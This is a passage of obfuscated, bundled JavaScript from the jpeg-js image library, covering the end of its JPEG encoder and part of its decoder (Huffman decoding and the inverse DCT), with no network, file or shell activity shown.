| _0x4b4acd(_0xa857d7.comments); | |
| _0x403e61(_0xa857d7.exifBuffer); | |
| _0xeb99dd(); | |
| _0x267ce9(_0xa857d7.width, _0xa857d7.height); | |
| _0x4af419(); | |
| _0x3075cb(); | |
| var _0x53e894 = 0x0, | |
| _0x4dfb63 = 0x0, | |
| _0x5e121a = 0x0; | |
| _0x29636c = 0x0; | |
| _0x2d12e3 = 0x7; | |
| this.encode.displayName = "_encode_"; | |
| var _0x5e7865 = _0xa857d7.data, | |
| _0x3086b0 = _0xa857d7.width, | |
| _0xe05c51 = _0xa857d7.height, | |
| _0x536a8c = _0x3086b0 * 0x4, | |
| _0x32ec46 = _0x3086b0 * 0x3, | |
| _0x280c2f, | |
| _0x25ac20 = 0x0, | |
| _0x246e7a, | |
| _0x1e324c, | |
| _0x324187, | |
| _0x841fd5, | |
| _0x46121d, | |
| _0x2d0319, | |
| _0x508faf, | |
| _0x2e88f5; | |
| while (_0x25ac20 < _0xe05c51) { | |
| _0x280c2f = 0x0; | |
| while (_0x280c2f < _0x536a8c) { | |
| _0x841fd5 = _0x536a8c * _0x25ac20 + _0x280c2f; | |
| _0x46121d = _0x841fd5; | |
| _0x2d0319 = -0x1; | |
| _0x508faf = 0x0; | |
| for (_0x2e88f5 = 0x0; _0x2e88f5 < 0x40; _0x2e88f5++) { | |
| _0x508faf = _0x2e88f5 >> 0x3; | |
| _0x2d0319 = (_0x2e88f5 & 0x7) * 0x4; | |
| _0x46121d = _0x841fd5 + _0x508faf * _0x536a8c + _0x2d0319; | |
| if (_0x25ac20 + _0x508faf >= _0xe05c51) { | |
| _0x46121d -= _0x536a8c * (_0x25ac20 + 0x1 + _0x508faf - _0xe05c51); | |
| } | |
| if (_0x280c2f + _0x2d0319 >= _0x536a8c) { | |
| _0x46121d -= _0x280c2f + _0x2d0319 - _0x536a8c + 0x4; | |
| } | |
| _0x246e7a = _0x5e7865[_0x46121d++]; | |
| _0x1e324c = _0x5e7865[_0x46121d++]; | |
| _0x324187 = _0x5e7865[_0x46121d++]; | |
| _0x5e5fe2[_0x2e88f5] = (_0x1af8e9[_0x246e7a] + _0x1af8e9[_0x1e324c + 0x100 >> 0x0] + _0x1af8e9[_0x324187 + 0x200 >> 0x0] >> 0x10) - 0x80; | |
| _0x28f601[_0x2e88f5] = (_0x1af8e9[_0x246e7a + 0x300 >> 0x0] + _0x1af8e9[_0x1e324c + 0x400 >> 0x0] + _0x1af8e9[_0x324187 + 0x500 >> 0x0] >> 0x10) - 0x80; | |
| _0x1969f4[_0x2e88f5] = (_0x1af8e9[_0x246e7a + 0x500 >> 0x0] + _0x1af8e9[_0x1e324c + 0x600 >> 0x0] + _0x1af8e9[_0x324187 + 0x700 >> 0x0] >> 0x10) - 0x80; | |
| } | |
| _0x53e894 = _0x2c5065(_0x5e5fe2, _0x4e4837, _0x53e894, _0x22d06e, _0x550473); | |
| _0x4dfb63 = _0x2c5065(_0x28f601, _0x27cf29, _0x4dfb63, _0xb384c, _0x5be634); | |
| _0x5e121a = _0x2c5065(_0x1969f4, _0x27cf29, _0x5e121a, _0xb384c, _0x5be634); | |
| _0x280c2f += 0x20; | |
| } | |
| _0x25ac20 += 0x8; | |
| } | |
| if (_0x2d12e3 >= 0x0) { | |
| var _0x50d7bf = []; | |
| _0x50d7bf[0x1] = _0x2d12e3 + 0x1; | |
| _0x50d7bf[0x0] = (0x1 << _0x2d12e3 + 0x1) - 0x1; | |
| _0xbcf968(_0x50d7bf); | |
| } | |
| _0x1bd773(0xffd9); | |
| if (typeof _0x29b78a === "undefined") { | |
| return new Uint8Array(_0x310888); | |
| } | |
| return Buffer.from(_0x310888); | |
| var _0x232730 = "data:image/jpeg;base64," + _0x2582ec(_0x310888.join('')); | |
| _0x310888 = []; | |
| var _0x50855a = new Date().getTime() - _0xd0c886; | |
| return _0x232730; | |
| }; | |
| function _0x24b6fc(_0xdc4bf0) { | |
| if (_0xdc4bf0 <= 0x0) { | |
| _0xdc4bf0 = 0x1; | |
| } | |
| if (_0xdc4bf0 > 0x64) { | |
| _0xdc4bf0 = 0x64; | |
| } | |
| if (_0x550e96 == _0xdc4bf0) { | |
| return; | |
| } | |
| var _0xe34ea0 = 0x0; | |
| if (_0xdc4bf0 < 0x32) { | |
| _0xe34ea0 = Math.floor(0x1388 / _0xdc4bf0); | |
| } else { | |
| _0xe34ea0 = Math.floor(0xc8 - _0xdc4bf0 * 0x2); | |
| } | |
| _0x45af9b(_0xe34ea0); | |
| _0x550e96 = _0xdc4bf0; | |
| } | |
| function _0x18ef15() { | |
| var _0x5a1942 = new Date().getTime(); | |
| if (!_0x10a898) { | |
| _0x10a898 = 0x32; | |
| } | |
| _0x4f2e88(); | |
| _0x4ddccf(); | |
| _0x115fcd(); | |
| _0x1bbcc9(); | |
| _0x24b6fc(_0x10a898); | |
| var _0x580d1e = new Date().getTime() - _0x5a1942; | |
| } | |
| _0x18ef15(); | |
| } | |
| if (typeof _0x29b78a !== "undefined") { | |
| _0x29b78a.exports = _0xeb186f; | |
| } else if (typeof window !== "undefined") { | |
| window["jpeg-js"] = window["jpeg-js"] || {}; | |
| window["jpeg-js"].encode = _0xeb186f; | |
| } | |
| function _0xeb186f(_0x4a25e3, _0x5dbfa7) { | |
| if (typeof _0x5dbfa7 === "undefined") { | |
| _0x5dbfa7 = 0x32; | |
| } | |
| var _0x3beaa2 = new _0x5746ed(_0x5dbfa7), | |
| _0x3b206d = _0x3beaa2.encode(_0x4a25e3, _0x5dbfa7); | |
| return { | |
| data: _0x3b206d, | |
| width: _0x4a25e3.width, | |
| height: _0x4a25e3.height | |
| }; | |
| } | |
| } | |
| }), | |
| require_decoder = __commonJS({ | |
| 'node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/lib/decoder.js'(_0x31744c, _0x289c65) { | |
| var _0x5e513b = function _0x55a2cc() { | |
| 'use strict'; | |
| var _0x21c37b = new Int32Array([0x0, 0x1, 0x8, 0x10, 0x9, 0x2, 0x3, 0xa, 0x11, 0x18, 0x20, 0x19, 0x12, 0xb, 0x4, 0x5, 0xc, 0x13, 0x1a, 0x21, 0x28, 0x30, 0x29, 0x22, 0x1b, 0x14, 0xd, 0x6, 0x7, 0xe, 0x15, 0x1c, 0x23, 0x2a, 0x31, 0x38, 0x39, 0x32, 0x2b, 0x24, 0x1d, 0x16, 0xf, 0x17, 0x1e, 0x25, 0x2c, 0x33, 0x3a, 0x3b, 0x34, 0x2d, 0x26, 0x1f, 0x27, 0x2e, 0x35, 0x3c, 0x3d, 0x36, 0x2f, 0x37, 0x3e, 0x3f]), | |
| _0x4b48c2 = 0xfb1, | |
| _0x298f82 = 0x31f, | |
| _0xc595d8 = 0xd4e, | |
| _0x54e34f = 0x8e4, | |
| _0x4b633e = 0x61f, | |
| _0x4f9818 = 0xec8, | |
| _0x281517 = 0x16a1, | |
| _0x37416d = 0xb50; | |
| function _0x1bd928() {} | |
| function _0x285357(_0x95af5e, _0x5c5262) { | |
| var _0x539f70 = 0x0, | |
| _0x503ef4 = [], | |
| _0x24861d, | |
| _0x44224f, | |
| _0x114f4d = 0x10; | |
| while (_0x114f4d > 0x0 && !_0x95af5e[_0x114f4d - 0x1]) { | |
| _0x114f4d--; | |
| } | |
| _0x503ef4.push({ | |
| children: [], | |
| index: 0x0 | |
| }); | |
| var _0x11fc0e = _0x503ef4[0x0], | |
| _0x5a36ff; | |
| for (_0x24861d = 0x0; _0x24861d < _0x114f4d; _0x24861d++) { | |
| for (_0x44224f = 0x0; _0x44224f < _0x95af5e[_0x24861d]; _0x44224f++) { | |
| _0x11fc0e = _0x503ef4.pop(); | |
| _0x11fc0e.children[_0x11fc0e.index] = _0x5c5262[_0x539f70]; | |
| while (_0x11fc0e.index > 0x0) { | |
| if (_0x503ef4.length === 0x0) { | |
| throw new Error("Could not recreate Huffman Table"); | |
| } | |
| _0x11fc0e = _0x503ef4.pop(); | |
| } | |
| _0x11fc0e.index++; | |
| _0x503ef4.push(_0x11fc0e); | |
| while (_0x503ef4.length <= _0x24861d) { | |
| _0x503ef4.push(_0x5a36ff = { | |
| children: [], | |
| index: 0x0 | |
| }); | |
| _0x11fc0e.children[_0x11fc0e.index] = _0x5a36ff.children; | |
| _0x11fc0e = _0x5a36ff; | |
| } | |
| _0x539f70++; | |
| } | |
| if (_0x24861d + 0x1 < _0x114f4d) { | |
| _0x503ef4.push(_0x5a36ff = { | |
| children: [], | |
| index: 0x0 | |
| }); | |
| _0x11fc0e.children[_0x11fc0e.index] = _0x5a36ff.children; | |
| _0x11fc0e = _0x5a36ff; | |
| } | |
| } | |
| return _0x503ef4[0x0].children; | |
| } | |
| function _0x18192a(_0x2bc31e, _0x9b2d0b, _0x22cc29, _0xeda81e, _0x119e44, _0x339678, _0x313229, _0x42dbb6, _0x2d414d, _0x25ff3c) { | |
| var _0x511f75 = _0x22cc29.precision, | |
| _0x24b047 = _0x22cc29.samplesPerLine, | |
| _0x4d32bb = _0x22cc29.scanLines, | |
| _0x2912dc = _0x22cc29.mcusPerLine, | |
| _0x5406ad = _0x22cc29.progressive, | |
| _0x1f0f0e = _0x22cc29.maxH, | |
| _0x55cfa1 = _0x22cc29.maxV, | |
| _0x39fada = _0x9b2d0b, | |
| _0x3b62ca = 0x0, | |
| _0x68fefc = 0x0; | |
| function _0x451142() { | |
| if (_0x68fefc > 0x0) { | |
| _0x68fefc--; | |
| return _0x3b62ca >> _0x68fefc & 0x1; | |
| } | |
| _0x3b62ca = _0x2bc31e[_0x9b2d0b++]; | |
| if (_0x3b62ca == 0xff) { | |
| var _0x197d52 = _0x2bc31e[_0x9b2d0b++]; | |
| if (_0x197d52) { | |
| throw new Error("unexpected marker: " + (_0x3b62ca << 0x8 | _0x197d52).toString(0x10)); | |
| } | |
| } | |
| _0x68fefc = 0x7; | |
| return _0x3b62ca >>> 0x7; | |
| } | |
| function _0x301054(_0x233e43) { | |
| var _0x4865b8 = _0x233e43, | |
| _0x49458d; | |
| while ((_0x49458d = _0x451142()) !== null) { | |
| _0x4865b8 = _0x4865b8[_0x49458d]; | |
| if (typeof _0x4865b8 === "number") { | |
| return _0x4865b8; | |
| } | |
| if (typeof _0x4865b8 !== "object") { | |
| throw new Error("invalid huffman sequence"); | |
| } | |
| } | |
| return null; | |
| } | |
| function _0x194fd9(_0x47a50b) { | |
| var _0x3011d8 = 0x0; | |
| while (_0x47a50b > 0x0) { | |
| var _0x139553 = _0x451142(); | |
| if (_0x139553 === null) { | |
| return; | |
| } | |
| _0x3011d8 = _0x3011d8 << 0x1 | _0x139553; | |
| _0x47a50b--; | |
| } | |
| return _0x3011d8; | |
| } | |
| function _0x22872a(_0x372e13) { | |
| var _0x49be88 = _0x194fd9(_0x372e13); | |
| if (_0x49be88 >= 0x1 << _0x372e13 - 0x1) { | |
| return _0x49be88; | |
| } | |
| return _0x49be88 + (-0x1 << _0x372e13) + 0x1; | |
| } | |
| function _0x64a528(_0x3c6133, _0x134eff) { | |
| var _0x572d1b = _0x301054(_0x3c6133.huffmanTableDC), | |
| _0x515449 = _0x572d1b === 0x0 ? 0x0 : _0x22872a(_0x572d1b); | |
| _0x134eff[0x0] = _0x3c6133.pred += _0x515449; | |
| var _0x2f71c9 = 0x1; | |
| while (_0x2f71c9 < 0x40) { | |
| var _0x4b1307 = _0x301054(_0x3c6133.huffmanTableAC), | |
| _0x487bd8 = _0x4b1307 & 0xf, | |
| _0x2095c8 = _0x4b1307 >> 0x4; | |
| if (_0x487bd8 === 0x0) { | |
| if (_0x2095c8 < 0xf) { | |
| break; | |
| } | |
| _0x2f71c9 += 0x10; | |
| continue; | |
| } | |
| _0x2f71c9 += _0x2095c8; | |
| var _0x51d4d9 = _0x21c37b[_0x2f71c9]; | |
| _0x134eff[_0x51d4d9] = _0x22872a(_0x487bd8); | |
| _0x2f71c9++; | |
| } | |
| } | |
| function _0x3a5bbf(_0x6c1900, _0x15568a) { | |
| var _0xee9de1 = _0x301054(_0x6c1900.huffmanTableDC), | |
| _0x57d5ce = _0xee9de1 === 0x0 ? 0x0 : _0x22872a(_0xee9de1) << _0x2d414d; | |
| _0x15568a[0x0] = _0x6c1900.pred += _0x57d5ce; | |
| } | |
| function _0xd2e331(_0x7473c2, _0x3c3c31) { | |
| _0x3c3c31[0x0] |= _0x451142() << _0x2d414d; | |
| } | |
| var _0x4b30be = 0x0; | |
| function _0x586d67(_0xef20ab, _0x2bb0c2) { | |
| if (_0x4b30be > 0x0) { | |
| _0x4b30be--; | |
| return; | |
| } | |
| var _0x59f83b = _0x339678, | |
| _0x233c6c = _0x313229; | |
| while (_0x59f83b <= _0x233c6c) { | |
| var _0x54743a = _0x301054(_0xef20ab.huffmanTableAC), | |
| _0x50d44e = _0x54743a & 0xf, | |
| _0x6afdd = _0x54743a >> 0x4; | |
| if (_0x50d44e === 0x0) { | |
| if (_0x6afdd < 0xf) { | |
| _0x4b30be = _0x194fd9(_0x6afdd) + (0x1 << _0x6afdd) - 0x1; | |
| break; | |
| } | |
| _0x59f83b += 0x10; | |
| continue; | |
| } | |
| _0x59f83b += _0x6afdd; | |
| var _0x5218d4 = _0x21c37b[_0x59f83b]; | |
| _0x2bb0c2[_0x5218d4] = _0x22872a(_0x50d44e) * (0x1 << _0x2d414d); | |
| _0x59f83b++; | |
| } | |
| } | |
| var _0x2019be = 0x0, | |
| _0x2f4dbc; | |
| function _0x3bd6c7(_0x1fa0c3, _0xb8f273) { | |
| var _0xa11596 = _0x339678, | |
| _0x32ecc4 = _0x313229, | |
| _0xb009b4 = 0x0; | |
| while (_0xa11596 <= _0x32ecc4) { | |
| var _0x10b568 = _0x21c37b[_0xa11596], | |
| _0x32170c = _0xb8f273[_0x10b568] < 0x0 ? -0x1 : 0x1; | |
| switch (_0x2019be) { | |
| case 0x0: | |
| var _0xf9a934 = _0x301054(_0x1fa0c3.huffmanTableAC), | |
| _0x495af7 = _0xf9a934 & 0xf, | |
| _0xb009b4 = _0xf9a934 >> 0x4; | |
| if (_0x495af7 === 0x0) { | |
| _0x4b30be = _0x194fd9(_0xb009b4) + (0x1 << _0xb009b4); | |
| if (_0xb009b4 < 0xf) { | |
| _0x2019be = 0x4; | |
| } else { | |
| _0xb009b4 = 0x10; | |
| _0x2019be = 0x1; | |
| } | |
| } else { | |
| if (_0x495af7 !== 0x1) { | |
| throw new Error("invalid ACn encoding"); | |
| } | |
| _0x2f4dbc = _0x22872a(_0x495af7); | |
| _0x2019be = _0xb009b4 ? 0x2 : 0x3; | |
| } | |
| continue; | |
| case 0x1: | |
| case 0x2: | |
| if (_0xb8f273[_0x10b568]) { | |
| _0xb8f273[_0x10b568] += (_0x451142() << _0x2d414d) * _0x32170c; | |
| } else { | |
| _0xb009b4--; | |
| if (_0xb009b4 === 0x0) { | |
| _0x2019be = _0x2019be == 0x2 ? 0x3 : 0x0; | |
| } | |
| } | |
| break; | |
| case 0x3: | |
| if (_0xb8f273[_0x10b568]) { | |
| _0xb8f273[_0x10b568] += (_0x451142() << _0x2d414d) * _0x32170c; | |
| } else { | |
| _0xb8f273[_0x10b568] = _0x2f4dbc << _0x2d414d; | |
| _0x2019be = 0x0; | |
| } | |
| break; | |
| case 0x4: | |
| if (_0xb8f273[_0x10b568]) { | |
| _0xb8f273[_0x10b568] += (_0x451142() << _0x2d414d) * _0x32170c; | |
| } | |
| break; | |
| } | |
| _0xa11596++; | |
| } | |
| if (_0x2019be === 0x4) { | |
| _0x4b30be--; | |
| if (_0x4b30be === 0x0) { | |
| _0x2019be = 0x0; | |
| } | |
| } | |
| } | |
| function _0x3e4eee(_0x5428e7, _0x6f2f86, _0x2f6757, _0x326849, _0x2e1b10) { | |
| var _0x392100 = _0x2f6757 / _0x2912dc | 0x0, | |
| _0xf14569 = _0x2f6757 % _0x2912dc, | |
| _0x118aba = _0x392100 * _0x5428e7.v + _0x326849, | |
| _0xa2ee72 = _0xf14569 * _0x5428e7.h + _0x2e1b10; | |
| if (_0x5428e7.blocks[_0x118aba] === void 0x0 && _0x25ff3c.tolerantDecoding) { | |
| return; | |
| } | |
| _0x6f2f86(_0x5428e7, _0x5428e7.blocks[_0x118aba][_0xa2ee72]); | |
| } | |
| function _0x4a9d0d(_0x22d809, _0x7f74ea, _0x466c38) { | |
| var _0x3127d8 = _0x466c38 / _0x22d809.blocksPerLine | 0x0, | |
| _0x4bcecb = _0x466c38 % _0x22d809.blocksPerLine; | |
| if (_0x22d809.blocks[_0x3127d8] === void 0x0 && _0x25ff3c.tolerantDecoding) { | |
| return; | |
| } | |
| _0x7f74ea(_0x22d809, _0x22d809.blocks[_0x3127d8][_0x4bcecb]); | |
| } | |
| var _0x71a310 = _0xeda81e.length, | |
| _0x51c12a, | |
| _0x46c39b, | |
| _0x284a53, | |
| _0x17f349, | |
| _0x38838c, | |
| _0x4f8482; | |
| if (_0x5406ad) { | |
| if (_0x339678 === 0x0) { | |
| _0x4f8482 = _0x42dbb6 === 0x0 ? _0x3a5bbf : _0xd2e331; | |
| } else { | |
| _0x4f8482 = _0x42dbb6 === 0x0 ? _0x586d67 : _0x3bd6c7; | |
| } | |
| } else { | |
| _0x4f8482 = _0x64a528; | |
| } | |
| var _0x24a7ba = 0x0, | |
| _0x1a50fe, | |
| _0x2ccf55; | |
| if (_0x71a310 == 0x1) { | |
| _0x2ccf55 = _0xeda81e[0x0].blocksPerLine * _0xeda81e[0x0].blocksPerColumn; | |
| } else { | |
| _0x2ccf55 = _0x2912dc * _0x22cc29.mcusPerColumn; | |
| } | |
| if (!_0x119e44) { | |
| _0x119e44 = _0x2ccf55; | |
| } | |
| var _0x1fe2ed, _0x1a35d2; | |
| while (_0x24a7ba < _0x2ccf55) { | |
| for (_0x46c39b = 0x0; _0x46c39b < _0x71a310; _0x46c39b++) { | |
| _0xeda81e[_0x46c39b].pred = 0x0; | |
| } | |
| _0x4b30be = 0x0; | |
| if (_0x71a310 == 0x1) { | |
| _0x51c12a = _0xeda81e[0x0]; | |
| for (_0x38838c = 0x0; _0x38838c < _0x119e44; _0x38838c++) { | |
| _0x4a9d0d(_0x51c12a, _0x4f8482, _0x24a7ba); | |
| _0x24a7ba++; | |
| } | |
| } else { | |
| for (_0x38838c = 0x0; _0x38838c < _0x119e44; _0x38838c++) { | |
| for (_0x46c39b = 0x0; _0x46c39b < _0x71a310; _0x46c39b++) { | |
| _0x51c12a = _0xeda81e[_0x46c39b]; | |
| _0x1fe2ed = _0x51c12a.h; | |
| _0x1a35d2 = _0x51c12a.v; | |
| for (_0x284a53 = 0x0; _0x284a53 < _0x1a35d2; _0x284a53++) { | |
| for (_0x17f349 = 0x0; _0x17f349 < _0x1fe2ed; _0x17f349++) { | |
| _0x3e4eee(_0x51c12a, _0x4f8482, _0x24a7ba, _0x284a53, _0x17f349); | |
| } | |
| } | |
| } | |
| _0x24a7ba++; | |
| if (_0x24a7ba === _0x2ccf55) { | |
| break; | |
| } | |
| } | |
| } | |
| if (_0x24a7ba === _0x2ccf55) { | |
| do { | |
| if (_0x2bc31e[_0x9b2d0b] === 0xff) { | |
| if (_0x2bc31e[_0x9b2d0b + 0x1] !== 0x0) { | |
| break; | |
| } | |
| } | |
| _0x9b2d0b += 0x1; | |
| } while (_0x9b2d0b < _0x2bc31e.length - 0x2); | |
| } | |
| _0x68fefc = 0x0; | |
| _0x1a50fe = _0x2bc31e[_0x9b2d0b] << 0x8 | _0x2bc31e[_0x9b2d0b + 0x1]; | |
| if (_0x1a50fe < 0xff00) { | |
| throw new Error("marker was not found"); | |
| } | |
| if (_0x1a50fe >= 0xffd0 && _0x1a50fe <= 0xffd7) { | |
| _0x9b2d0b += 0x2; | |
| } else { | |
| break; | |
| } | |
| } | |
| return _0x9b2d0b - _0x39fada; | |
| } | |
| function _0x531027(_0x3837f6, _0x20ba35) { | |
| var _0x289e53 = [], | |
| _0x311b5d = _0x20ba35.blocksPerLine, | |
| _0x8cb779 = _0x20ba35.blocksPerColumn, | |
| _0x561748 = _0x311b5d << 0x3, | |
| _0x20acf8 = new Int32Array(0x40), | |
| _0x3a34ad = new Uint8Array(0x40); | |
| function _0x22471f(_0x4ae7da, _0x1d3e52, _0x13c300) { | |
| var _0x36f452 = _0x20ba35.quantizationTable, | |
| _0x48a66c, | |
| _0x5257c9, | |
| _0x42e830, | |
| _0x2d2432, | |
| _0xbfb777, | |
| _0x44ee3c, | |
| _0x2aa564, | |
| _0x24554c, | |
| _0x57dffb, | |
| _0x90d6a1 = _0x13c300, | |
| _0x36d81a; | |
| for (_0x36d81a = 0x0; _0x36d81a < 0x40; _0x36d81a++) { | |
| _0x90d6a1[_0x36d81a] = _0x4ae7da[_0x36d81a] * _0x36f452[_0x36d81a]; | |
| } | |
| for (_0x36d81a = 0x0; _0x36d81a < 0x8; ++_0x36d81a) { | |
| var _0x368a38 = 0x8 * _0x36d81a; | |
| if (_0x90d6a1[0x1 + _0x368a38] == 0x0 && _0x90d6a1[0x2 + _0x368a38] == 0x0 && _0x90d6a1[0x3 + _0x368a38] == 0x0 && _0x90d6a1[0x4 + _0x368a38] == 0x0 && _0x90d6a1[0x5 + _0x368a38] == 0x0 && _0x90d6a1[0x6 + _0x368a38] == 0x0 && _0x90d6a1[0x7 + _0x368a38] == 0x0) { | |
| _0x57dffb = _0x281517 * _0x90d6a1[0x0 + _0x368a38] + 0x200 >> 0xa; | |
| _0x90d6a1[0x0 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x1 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x2 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x3 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x4 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x5 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x6 + _0x368a38] = _0x57dffb; | |
| _0x90d6a1[0x7 + _0x368a38] = _0x57dffb; | |
| continue; | |
| } | |
| _0x48a66c = _0x281517 * _0x90d6a1[0x0 + _0x368a38] + 0x80 >> 0x8; | |
| _0x5257c9 = _0x281517 * _0x90d6a1[0x4 + _0x368a38] + 0x80 >> 0x8; | |
| _0x42e830 = _0x90d6a1[0x2 + _0x368a38]; | |
| _0x2d2432 = _0x90d6a1[0x6 + _0x368a38]; | |
| _0xbfb777 = _0x37416d * (_0x90d6a1[0x1 + _0x368a38] - _0x90d6a1[0x7 + _0x368a38]) + 0x80 >> 0x8; | |
| _0x24554c = _0x37416d * (_0x90d6a1[0x1 + _0x368a38] + _0x90d6a1[0x7 + _0x368a38]) + 0x80 >> 0x8; | |
| _0x44ee3c = _0x90d6a1[0x3 + _0x368a38] << 0x4; | |
| _0x2aa564 = _0x90d6a1[0x5 + _0x368a38] << 0x4; | |
| _0x57dffb = _0x48a66c - _0x5257c9 + 0x1 >> 0x1; | |
| _0x48a66c = _0x48a66c + _0x5257c9 + 0x1 >> 0x1; | |
| _0x5257c9 = _0x57dffb; | |
| _0x57dffb = _0x42e830 * _0x4f9818 + _0x2d2432 * _0x4b633e + 0x80 >> 0x8; | |
| _0x42e830 = _0x42e830 * _0x4b633e - _0x2d2432 * _0x4f9818 + 0x80 >> 0x8; | |
| _0x2d2432 = _0x57dffb; | |
| _0x57dffb = _0xbfb777 - _0x2aa564 + 0x1 >> 0x1; | |
| _0xbfb777 = _0xbfb777 + _0x2aa564 + 0x1 >> 0x1; | |
| _0x2aa564 = _0x57dffb; | |
| _0x57dffb = _0x24554c + _0x44ee3c + 0x1 >> 0x1; | |
| _0x44ee3c = _0x24554c - _0x44ee3c + 0x1 >> 0x1; | |
| _0x24554c = _0x57dffb; | |
| _0x57dffb = _0x48a66c - _0x2d2432 + 0x1 >> 0x1; | |
| _0x48a66c = _0x48a66c + _0x2d2432 + 0x1 >> 0x1; | |
| _0x2d2432 = _0x57dffb; | |
| _0x57dffb = _0x5257c9 - _0x42e830 + 0x1 >> 0x1; | |
| _0x5257c9 = _0x5257c9 + _0x42e830 + 0x1 >> 0x1; | |
| _0x42e830 = _0x57dffb; | |
| _0x57dffb = _0xbfb777 * _0x54e34f + _0x24554c * _0xc595d8 + 0x800 >> 0xc; | |
| _0xbfb777 = _0xbfb777 * _0xc595d8 - _0x24554c * _0x54e34f + 0x800 >> 0xc; | |
| _0x24554c = _0x57dffb; | |
| _0x57dffb = _0x44ee3c * _0x298f82 + _0x2aa564 * _0x4b48c2 + 0x800 >> 0xc; | |
| _0x44ee3c = _0x44ee3c * _0x4b48c2 - _0x2aa564 * _0x298f82 + 0x800 >> 0xc; | |
| _0x2aa564 = _0x57dffb; | |
| _0x90d6a1[0x0 + _0x368a38] = _0x48a66c + _0x24554c; | |
| _0x90d6a1[0x7 + _0x368a38] = _0x48a66c - _0x24554c; | |
| _0x90d6a1[0x1 + _0x368a38] = _0x5257c9 + _0x2aa564; | |
| _0x90d6a1[0x6 + _0x368a38] = _0x5257c9 - _0x2aa564; | |
| _0x90d6a1[0x2 + _0x368a38] = _0x42e830 + _0x44ee3c; | |
| _0x90d6a1[0x5 + _0x368a38] = _0x42e830 - _0x44ee3c; | |
| _0x90d6a1[0x3 + _0x368a38] = _0x2d2432 + _0xbfb777; | |
| _0x90d6a1[0x4 + _0x368a38] = _0x2d2432 - _0xbfb777; | |
| } | |
| for (_0x36d81a = 0x0; _0x36d81a < 0x8; ++_0x36d81a) { | |
| var _0x2fe8c1 = _0x36d81a; | |
| if (_0x90d6a1[8 + _0x2fe8c1] == 0x0 && _0x90d6a1[16 + _0x2fe8c1] == 0x0 && _0x90d6a1[24 + _0x2fe8c1] == 0x0 && _0x90d6a1[32 + _0x2fe8c1] == 0x0 && _0x90d6a1[40 + _0x2fe8c1] == 0x0 && _0x90d6a1[48 + _0x2fe8c1] == 0x0 && _0x90d6a1[56 + _0x2fe8c1] == 0x0) { | |
| _0x57dffb = _0x281517 * _0x13c300[_0x36d81a + 0x0] + 0x2000 >> 0xe; | |
| _0x90d6a1[0 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[8 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[16 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[24 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[32 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[40 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[48 + _0x2fe8c1] = _0x57dffb; | |
| _0x90d6a1[56 + _0x2fe8c1] = _0x57dffb; | |
| continue; | |
| } | |
| _0x48a66c = _0x281517 * _0x90d6a1[0 + _0x2fe8c1] + 0x800 >> 0xc; | |
| _0x5257c9 = _0x281517 * _0x90d6a1[32 + _0x2fe8c1] + 0x800 >> 0xc; | |
| _0x42e830 = _0x90d6a1[16 + _0x2fe8c1]; | |
| _0x2d2432 = _0x90d6a1[48 + _0x2fe8c1]; | |
| _0xbfb777 = _0x37416d * (_0x90d6a1[8 + _0x2fe8c1] - _0x90d6a1[56 + _0x2fe8c1]) + 0x800 >> 0xc; | |
| _0x24554c = _0x37416d * (_0x90d6a1[8 + _0x2fe8c1] + _0x90d6a1[56 + _0x2fe8c1]) + 0x800 >> 0xc; | |
| _0x44ee3c = _0x90d6a1[24 + _0x2fe8c1]; | |
| _0x2aa564 = _0x90d6a1[40 + _0x2fe8c1]; | |
| _0x57dffb = _0x48a66c - _0x5257c9 + 0x1 >> 0x1; | |
| _0x48a66c = _0x48a66c + _0x5257c9 + 0x1 >> 0x1; | |
| _0x5257c9 = _0x57dffb; | |
| _0x57dffb = _0x42e830 * _0x4f9818 + _0x2d2432 * _0x4b633e + 0x800 >> 0xc; | |
| _0x42e830 = _0x42e830 * _0x4b633e - _0x2d2432 * _0x4f9818 + 0x800 >> 0xc; | |
| _0x2d2432 = _0x57dffb; | |
| _0x57dffb = _0xbfb777 - _0x2aa564 + 0x1 >> 0x1; | |
| _0xbfb777 = _0xbfb777 + _0x2aa564 + 0x1 >> 0x1; | |
| _0x2aa564 = _0x57dffb; | |
| _0x57dffb = _0x24554c + _0x44ee3c + 0x1 >> 0x1; | |
| _0x44ee3c = _0x24554c - _0x44ee3c + 0x1 >> 0x1; | |
| _0x24554c = _0x57dffb; | |
| _0x57dffb = _0x48a66c - _0x2d2432 + 0x1 >> 0x1; | |
| _0x48a66c = _0x48a66c + _0x2d2432 + 0x1 >> 0x1; | |
| _0x2d2432 = _0x57dffb; | |
| _0x57dffb = _0x5257c9 - _0x42e830 + 0x1 >> 0x1; | |
| _0x5257c9 = _0x5257c9 + _0x42e830 + 0x1 >> 0x1; | |
| _0x42e830 = _0x57dffb; | |
| _0x57dffb = _0xbfb777 * _0x54e34f + _0x24554c * _0xc595d8 + 0x800 >> 0xc; | |
| _0xbfb777 = _0xbfb777 * _0xc595d8 - _0x24554c * _0x54e34f + 0x800 >> 0xc; | |
| _0x24554c = _0x57dffb; | |
| _0x57dffb = _0x44ee3c * _0x298f82 + _0x2aa564 * _0x4b48c2 + 0x800 >> 0xc; | |
| _0x44ee3c = _0x44ee3c * _0x4b48c2 - _0x2aa564 * _0x298f82 + 0x800 >> 0xc; | |
| _0x2aa564 = _0x57dffb; | |
| _0x90d6a1[0 + _0x2fe8c1] = _0x48a66c + _0x24554c; | |
| _0x90d6a1[56 + _0x2fe8c1] = _0x48a66c - _0x24554c; | |
| _0x90d6a1[8 + _0x2fe8c1] = _0x5257c9 + _0x2aa564; | |
| _0x90d6a1[48 + _0x2fe8c1] = _0x5257c9 - _0x2aa564; | |
| _0x90d6a1[16 + _0x2fe8c1] = _0x42e830 + _0x44ee3c; | |
| _0x90d6a1[40 + _0x2fe8c1] = _0x42e830 - _0x44ee3c; | |
| _0x90d6a1[24 + _0x2fe8c1] = _0x2d2432 + _0xbfb777; | |
